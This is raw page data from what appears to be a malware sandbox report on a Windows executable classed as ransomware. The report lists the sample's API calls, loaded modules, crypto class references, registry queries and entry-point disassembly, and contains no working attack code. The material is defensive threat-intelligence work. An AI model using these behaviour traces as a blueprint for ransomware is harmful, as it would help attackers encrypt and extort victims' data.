24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 32:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 23:T4b4,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Gen:Ransom.REntS.Generic Sample d7fea3a447e1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d7fea3a447e1…. Malware family: Gen:Ransom.REntS.Generic. Threat score 100/100. 18/24 AV engines flagged this file. 11 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de","keywords":["Malicious","Gen:Ransom.REntS.Generic","malware analysis","sandbox report","threat intelligence","d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","assembly","executable"],"identifier":"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Gen:Ransom.REntS.Generic","antivirusDetections":{"malicious":18,"total":24},"behavioralIndicators":{"malicious":11,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4f5,Found reference to "RijndaelManaged" (Indicator: "Rijndael"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found reference to "Rfc2898DeriveBytes" (Indicator: "DeriveBytes"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found reference to "Rfc2898DeriveBytes" (Indicator: "Rfc2898DeriveBytes"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found reference to "DeriveBytes" (Indicator: "DeriveBytes"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found reference to "CryptoStream" (Indicator: "CryptoStream"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de")26:T80e,"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000018e62f01000000001800000000000000882386ef0da000000f874501000000002600000000000000b0e52f0100000000a053440100000000a07f4501000000001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000ca83fd7f0000fb4ab4909e2f0000e046ca83fd7f000010874501000000009806cb83fd7f0000c08f45010000000000001b83fd7f00000000000000000000e046ca83fd7f00000300000000000000f3856185fd7f00006e47ca83fd7f000027666185fd7f0000f0e52f01 (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00009440)27:T5ac,"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00009440)28:T29e7,"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00009440)29:T873,"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "KERNEL32" at base 7ffd84a70000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffd82c90000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffd82c90000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffd82c90000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffd853b0000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffd82c90000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffd82c90000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffd82c90000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffd4fc90000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "ADVAPI32.DLL" at base 7ffd853f0000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffd50190000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "SHLWAPI.DLL" at base 7ffd83c40000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffd81a60000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "VERSION.DLL" at base 7ffd79080000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "NTDLL.DLL" at base 7ffd855f0000 "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" loaded module "KERNELBASE" at base 7ffd82c900002a:T4bd,"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"2b:T939,"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\OSDATA\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: ""; Value: "")2c:Tfcd,"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "8CCCA27D-F1D8-4DDA-B5DD-339AEE937731"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") 